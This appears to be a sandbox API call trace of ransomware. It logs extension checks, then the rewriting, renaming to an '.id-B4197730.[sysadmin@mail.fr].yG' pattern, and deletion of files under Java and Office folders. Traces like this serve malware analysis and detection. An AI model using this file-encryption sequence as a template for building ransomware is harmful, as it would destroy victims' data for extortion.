	[0149.001] lstrlenW (lpString=".jpg") returned 4
	[0149.001] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0149.001] lstrcmpiW (lpString1=".libraries", lpString2=".yG") returned -1
	[0149.001] lstrlenW (lpString="trusted.libraries") returned 17
	[0149.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0149.002] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=0) returned 1
	[0149.002] CloseHandle (hObject=0x51c) returned 1
	[0149.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.003] lstrlenW (lpString=".doc") returned 4
	[0149.003] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1
	[0149.003] lstrlenW (lpString=".docx") returned 5
	[0149.003] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1
	[0149.003] lstrlenW (lpString=".pdf") returned 4
	[0149.003] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1
	[0149.003] lstrlenW (lpString=".xls") returned 4
	[0149.003] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1
	[0149.003] lstrlenW (lpString=".xlsx") returned 5
	[0149.003] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1
	[0149.003] lstrlenW (lpString=".ppt") returned 4
	[0149.003] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1
	[0149.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.003] lstrlenW (lpString=".zip") returned 4
	[0149.003] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1
	[0149.003] lstrlenW (lpString=".rar") returned 4
	[0149.003] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1
	[0149.003] lstrlenW (lpString=".bz2") returned 4
	[0149.003] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1
	[0149.003] lstrlenW (lpString=".7z") returned 3
	[0149.003] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0149.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.003] lstrlenW (lpString=".dbf") returned 4
	[0149.003] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1
	[0149.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.003] lstrlenW (lpString=".1cd") returned 4
	[0149.003] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1
	[0149.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.004] lstrlenW (lpString=".jpg") returned 4
	[0149.004] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1
	[0149.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.004] lstrlenW (lpString=".doc") returned 4
	[0149.004] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1
	[0149.004] lstrlenW (lpString=".docx") returned 5
	[0149.004] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1
	[0149.004] lstrlenW (lpString=".pdf") returned 4
	[0149.004] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1
	[0149.004] lstrlenW (lpString=".xls") returned 4
	[0149.004] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1
	[0149.004] lstrlenW (lpString=".xlsx") returned 5
	[0149.004] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1
	[0149.004] lstrlenW (lpString=".ppt") returned 4
	[0149.004] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1
	[0149.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.004] lstrlenW (lpString=".zip") returned 4
	[0149.004] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1
	[0149.004] lstrlenW (lpString=".rar") returned 4
	[0149.004] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1
	[0149.004] lstrlenW (lpString=".bz2") returned 4
	[0149.004] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1
	[0149.004] lstrlenW (lpString=".7z") returned 3
	[0149.004] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0149.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.005] lstrlenW (lpString=".dbf") returned 4
	[0149.005] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1
	[0149.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.005] lstrlenW (lpString=".1cd") returned 4
	[0149.005] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1
	[0149.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65
	[0149.005] lstrlenW (lpString=".jpg") returned 4
	[0149.005] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1
	[0149.005] lstrcmpiW (lpString1=".jar", lpString2=".yG") returned -1
	[0149.005] lstrlenW (lpString="US_export_policy.jar") returned 20
	[0149.005] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0149.006] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=3026) returned 1
	[0149.006] CloseHandle (hObject=0x51c) returned 1
	[0149.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20
	[0149.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0149.007] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.007] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0149.008] GetLastError () returned 0x0
	[0149.008] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0xbd2, lpOverlapped=0x0) returned 1
	[0149.048] WriteFile (in: hFile=0x54c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xbe0, lpOverlapped=0x0) returned 1
	[0149.049] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.050] WriteFile (in: hFile=0x54c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xfc, lpOverlapped=0x0) returned 1
	[0149.050] SetEndOfFile (hFile=0x54c) returned 1
	[0149.050] CloseHandle (hObject=0x54c) returned 1
	[0149.050] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.050] SetEndOfFile (hFile=0x51c) returned 1
	[0149.054] CloseHandle (hObject=0x51c) returned 1
	[0149.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0149.054] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1
	[0149.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.055] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.055] lstrlenW (lpString=".doc") returned 4
	[0149.055] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0149.055] lstrlenW (lpString=".docx") returned 5
	[0149.055] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0149.055] lstrlenW (lpString=".pdf") returned 4
	[0149.055] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0149.055] lstrlenW (lpString=".xls") returned 4
	[0149.056] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0149.056] lstrlenW (lpString=".xlsx") returned 5
	[0149.056] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0149.056] lstrlenW (lpString=".ppt") returned 4
	[0149.056] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0149.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.056] lstrlenW (lpString=".zip") returned 4
	[0149.056] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0149.056] lstrlenW (lpString=".rar") returned 4
	[0149.056] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0149.056] lstrlenW (lpString=".bz2") returned 4
	[0149.056] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0149.056] lstrlenW (lpString=".7z") returned 3
	[0149.056] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0149.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.056] lstrlenW (lpString=".dbf") returned 4
	[0149.056] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0149.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.057] lstrlenW (lpString=".1cd") returned 4
	[0149.057] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0149.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.057] lstrlenW (lpString=".jpg") returned 4
	[0149.057] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0149.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.057] lstrlenW (lpString=".doc") returned 4
	[0149.057] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0149.057] lstrlenW (lpString=".docx") returned 5
	[0149.057] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0149.057] lstrlenW (lpString=".pdf") returned 4
	[0149.057] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0149.057] lstrlenW (lpString=".xls") returned 4
	[0149.057] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0149.057] lstrlenW (lpString=".xlsx") returned 5
	[0149.058] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0149.058] lstrlenW (lpString=".ppt") returned 4
	[0149.058] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0149.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.058] lstrlenW (lpString=".zip") returned 4
	[0149.058] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0149.058] lstrlenW (lpString=".rar") returned 4
	[0149.058] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0149.058] lstrlenW (lpString=".bz2") returned 4
	[0149.058] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0149.058] lstrlenW (lpString=".7z") returned 3
	[0149.058] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0149.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.058] lstrlenW (lpString=".dbf") returned 4
	[0149.059] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0149.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.059] lstrlenW (lpString=".1cd") returned 4
	[0149.059] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0149.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68
	[0149.059] lstrlenW (lpString=".jpg") returned 4
	[0149.059] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0149.059] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".yG") returned -1
	[0149.059] lstrlenW (lpString="LICENSE") returned 7
	[0149.059] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0149.060] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=40) returned 1
	[0149.060] CloseHandle (hObject=0x51c) returned 1
	[0149.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20
	[0149.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.061] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0149.061] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.061] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.061] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0149.489] GetLastError () returned 0x0
	[0149.489] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x28, lpOverlapped=0x0) returned 1
	[0149.490] WriteFile (in: hFile=0x520, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x30, lpOverlapped=0x0) returned 1
	[0149.491] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.491] WriteFile (in: hFile=0x520, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xe2, lpOverlapped=0x0) returned 1
	[0149.492] SetEndOfFile (hFile=0x520) returned 1
	[0149.492] CloseHandle (hObject=0x520) returned 1
	[0149.492] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.492] SetEndOfFile (hFile=0x51c) returned 1
	[0149.496] CloseHandle (hObject=0x51c) returned 1
	[0149.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0149.497] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1
	[0149.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.497] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.497] lstrlenW (lpString=".doc") returned 4
	[0149.497] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1
	[0149.497] lstrlenW (lpString=".docx") returned 5
	[0149.497] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1
	[0149.497] lstrlenW (lpString=".pdf") returned 4
	[0149.497] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1
	[0149.497] lstrlenW (lpString=".xls") returned 4
	[0149.498] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1
	[0149.498] lstrlenW (lpString=".xlsx") returned 5
	[0149.498] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1
	[0149.498] lstrlenW (lpString=".ppt") returned 4
	[0149.498] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1
	[0149.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.498] lstrlenW (lpString=".zip") returned 4
	[0149.498] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1
	[0149.498] lstrlenW (lpString=".rar") returned 4
	[0149.498] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1
	[0149.498] lstrlenW (lpString=".bz2") returned 4
	[0149.498] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1
	[0149.498] lstrlenW (lpString=".7z") returned 3
	[0149.498] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1
	[0149.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.498] lstrlenW (lpString=".dbf") returned 4
	[0149.498] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1
	[0149.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.498] lstrlenW (lpString=".1cd") returned 4
	[0149.498] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1
	[0149.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.498] lstrlenW (lpString=".jpg") returned 4
	[0149.498] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1
	[0149.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.498] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.498] lstrlenW (lpString=".doc") returned 4
	[0149.499] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1
	[0149.499] lstrlenW (lpString=".docx") returned 5
	[0149.499] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1
	[0149.499] lstrlenW (lpString=".pdf") returned 4
	[0149.499] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1
	[0149.499] lstrlenW (lpString=".xls") returned 4
	[0149.499] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1
	[0149.499] lstrlenW (lpString=".xlsx") returned 5
	[0149.499] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1
	[0149.499] lstrlenW (lpString=".ppt") returned 4
	[0149.499] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1
	[0149.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.499] lstrlenW (lpString=".zip") returned 4
	[0149.499] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1
	[0149.499] lstrlenW (lpString=".rar") returned 4
	[0149.499] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1
	[0149.499] lstrlenW (lpString=".bz2") returned 4
	[0149.499] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1
	[0149.499] lstrlenW (lpString=".7z") returned 3
	[0149.499] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1
	[0149.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.499] lstrlenW (lpString=".dbf") returned 4
	[0149.499] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1
	[0149.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.499] lstrlenW (lpString=".1cd") returned 4
	[0149.499] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1
	[0149.499] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42
	[0149.499] lstrlenW (lpString=".jpg") returned 4
	[0149.500] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1
	[0149.500] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0149.500] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33
	[0149.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0149.599] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11616) returned 1
	[0149.599] CloseHandle (hObject=0x544) returned 1
	[0149.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220
	[0149.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0149.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.920] lstrlenW (lpString=".doc") returned 4
	[0149.920] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.920] lstrlenW (lpString=".docx") returned 5
	[0149.920] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.920] lstrlenW (lpString=".pdf") returned 4
	[0149.920] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.920] lstrlenW (lpString=".xls") returned 4
	[0149.920] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.920] lstrlenW (lpString=".xlsx") returned 5
	[0149.920] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.920] lstrlenW (lpString=".ppt") returned 4
	[0149.920] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.920] lstrlenW (lpString=".zip") returned 4
	[0149.920] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.921] lstrlenW (lpString=".rar") returned 4
	[0149.921] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.921] lstrlenW (lpString=".bz2") returned 4
	[0149.921] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.921] lstrlenW (lpString=".7z") returned 3
	[0149.921] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.921] lstrlenW (lpString=".dbf") returned 4
	[0149.921] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.921] lstrlenW (lpString=".1cd") returned 4
	[0149.921] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.921] lstrlenW (lpString=".jpg") returned 4
	[0149.921] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0149.921] lstrlenW (lpString=".doc") returned 4
	[0149.921] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.921] lstrlenW (lpString=".docx") returned 5
	[0149.921] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.921] lstrlenW (lpString=".pdf") returned 4
	[0149.921] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.921] lstrlenW (lpString=".xls") returned 4
